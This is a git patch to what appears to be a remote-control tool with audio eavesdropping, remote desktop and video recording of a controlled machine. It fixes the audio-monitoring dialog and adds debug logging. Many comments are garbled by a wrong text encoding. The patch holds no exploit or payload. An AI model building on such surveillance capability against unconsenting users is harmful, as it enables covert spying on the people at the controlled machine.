From af63166fbe9d406493b27c79589393abd78f92d9 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 26 Jan 2019 11:53:11 +0800 Subject: [PATCH] =?UTF-8?q?=E8=A7=A3=E5=86=B3=E8=AF=AD=E9=9F=B3=E7=9B=91?= =?UTF-8?q?=E5=90=AC=E5=AF=B9=E8=AF=9D=E6=A1=86=E4=B8=8D=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E7=8A=B6=E6=80=81=E7=9A=84=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修复语音监听对话框显示已收到数据不更新状态的问题。 发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。 --- ReadMe.txt | 4 ++++ client/AudioManager.cpp | 8 +++++--- client/TestRun.vcxproj.user | 2 +- server/2015Remote/2015Remote.rc | Bin 48876 -> 48874 bytes server/2015Remote/AudioDlg.cpp | 20 +++++++++++++++++--- server/2015Remote/AudioDlg.h | 3 ++- server/2015Remote/IOCPServer.cpp | 9 ++++++++- server/2015Remote/resource.h | Bin 25076 -> 25074 bytes 8 files changed, 37 insertions(+), 9 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index 68864a5..e0a2ae7 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -143,3 +143,7 @@ 1、修复被控端消息提示对话框在消息换行时显示不完整的问题。 2、添加/完善录制远程被控端视频的功能。 + +3、修复语音监听对话框显示已收到数据不更新状态的问题。 + +4、发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。 diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 7e0656b..06e666d 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -44,12 +44,13 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { case COMMAND_NEXT: { - NotifyDialogIsOpen(); + if (1 == ulLength) + NotifyDialogIsOpen(); break; } default: - { - m_AudioObject->PlayBuffer(szBuffer, ulLength); + { + m_AudioObject->PlayBuffer(szBuffer, ulLength); break; } } @@ -83,6 +84,7 @@ BOOL CAudioManager::SendRecordBuffer() szPacket[0] = TOKEN_AUDIO_DATA; //ض˷͸Ϣ //ƻ memcpy(szPacket + 1, szBuffer, dwBufferSize); + szPacket[dwBufferSize] = 0; //ͳȥ if (dwBufferSize > 0) { diff --git a/client/TestRun.vcxproj.user b/client/TestRun.vcxproj.user index 9e8e47a..25eb3fe 100644 --- a/client/TestRun.vcxproj.user +++ b/client/TestRun.vcxproj.user @@ -7,6 +7,6 @@ C:\VM\Remoter $(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb false - WindowsRemoteDebugger + WindowsLocalDebugger \ No newline at end of file diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 7bdbb1088788702d17db1f5f350b2df146111067..87fde9aa30b95e91b6454f0a34eb97eac9922fd8 100644 GIT binary patch delta 89 zcmaF!m+94CrVSz9(uNEc3_1*!48}mxf`ONTi$MVjohKK{C{CW>Z6;_8l-B{OFaxUu hvM1kHHk{1iQ^st}V7j@{CpByGyR9~xRkojC2LP=d7V7{2 delta 71 zcmaF$m+8%4rVSz9oJI@=3_1*!491fMJ&Y$$@HP`PXD|nf7&DjwNmCFx`M$E@WDcJ) XW+Mjk&5b^(S(D#vwcD(;{RBGzEnableWindow(FALSE); + return TRUE; // return TRUE unless you set the focus to a control // 쳣: OCX ҳӦ FALSE } @@ -82,7 +86,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam) { if (!This->m_bSend) { - Sleep(50); + WAIT(This->m_bIsWorking, 1, 50); continue; } DWORD dwBufferSize = 0; @@ -101,12 +105,11 @@ void CAudioDlg::OnReceiveComplete(void) m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1 CString strString; strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024); - SetDlgItemText(IDC_TIP, strString); + SetDlgItemText(IDC_TIPS, strString); switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) { case TOKEN_AUDIO_DATA: { - m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //Ų break; @@ -134,3 +137,14 @@ void CAudioDlg::OnClose() delete this; #endif } + +// ǷͱԶ +void CAudioDlg::OnBnClickedCheck() +{ + // @notice 2019.1.26 + // "ͱ"򱻿ض˱zlib inffas32.asm + // 轫ضzlibض± + // Ǽʹضڿ"ͱ"ʱױ + // ڲԶʱԭ + UpdateData(true); +} diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h index 54110d6..13e275c 100644 --- a/server/2015Remote/AudioDlg.h +++ b/server/2015Remote/AudioDlg.h @@ -33,7 +33,8 @@ protected: DECLARE_MESSAGE_MAP() public: - BOOL m_bSend; + BOOL m_bSend; // ǷͱԶ virtual BOOL OnInitDialog(); afx_msg void OnClose(); + afx_msg void OnBnClickedCheck(); }; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 771b7f0..f15cedc 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -332,6 +332,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) { ContextObject->olps = NULL; + OutputDebugStringA("!!! RemoveStaleContext \n"); This->RemoveStaleContext(ContextObject); } SAFE_DELETE(OverlappedPlus); @@ -539,7 +540,9 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol); if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //Ͷʧ - { + { + int a = GetLastError(); + OutputDebugStringA("!!! OnClientPreSending ͶϢʧ\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); } @@ -569,6 +572,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) { int a = GetLastError(); + OutputDebugStringA("!!! OnClientPostSending ͶϢʧ\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); } @@ -686,6 +690,8 @@ void IOCPServer::OnAccept() //ΪǽܵһûߵôǾͽ͸ǵɶ˿ ǵĹ̴߳ if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //Ͷʧ { + int a = GetLastError(); + OutputDebugStringA("!!! OnAccept ͶϢʧ\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); return; @@ -710,6 +716,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject) if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) { int a = GetLastError(); + OutputDebugStringA("!!! PostRecv ͶϢʧ\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); } diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 7ddd7ded8c6bd56ed2b6ec0b8d04dd54e0fd9f09..9a3e0ab25e8d2159e7e72e1b053dd5d3183519d8 100644 GIT binary patch delta 14 WcmexznDNtL#tk}xoAm^b1pojx#s*{n delta 18 acmex#nDNVD#tk}xlMgVlY}OMz5&!^GeFwV$